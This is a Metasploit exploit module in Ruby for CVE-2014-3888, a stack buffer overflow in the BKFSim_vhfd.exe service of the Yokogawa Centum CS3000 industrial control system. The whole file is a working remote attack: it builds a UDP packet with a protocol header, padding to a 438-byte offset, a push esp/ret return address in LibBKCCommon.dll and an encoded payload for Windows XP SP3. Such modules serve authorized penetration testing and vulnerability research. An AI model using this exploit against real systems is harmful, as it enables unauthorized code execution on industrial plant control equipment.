76 lines
2.4 KiB
Ruby
76 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
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'Description' => %q{
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This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
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exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
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logs using functions like vsprintf and memcpy in a insecure way. This module has been
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tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
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},
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'Author' =>
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[
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'Redsadic <julian.vilas[at]gmail.com>',
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'juan vazquez'
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],
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'References' =>
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[
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['CVE', '2014-3888'],
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['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
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['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
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['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
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],
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'Payload' =>
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{
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'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
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'DisableNops' => true,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
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{
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'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
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'Offset' => 438
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}
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],
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],
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'DisclosureDate' => 'May 23 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(20010)
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], self.class)
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end
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def exploit
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connect_udp
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sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
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sploit << rand_text(target['Offset'])
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sploit << [target.ret].pack("V")
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sploit << payload.encoded
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print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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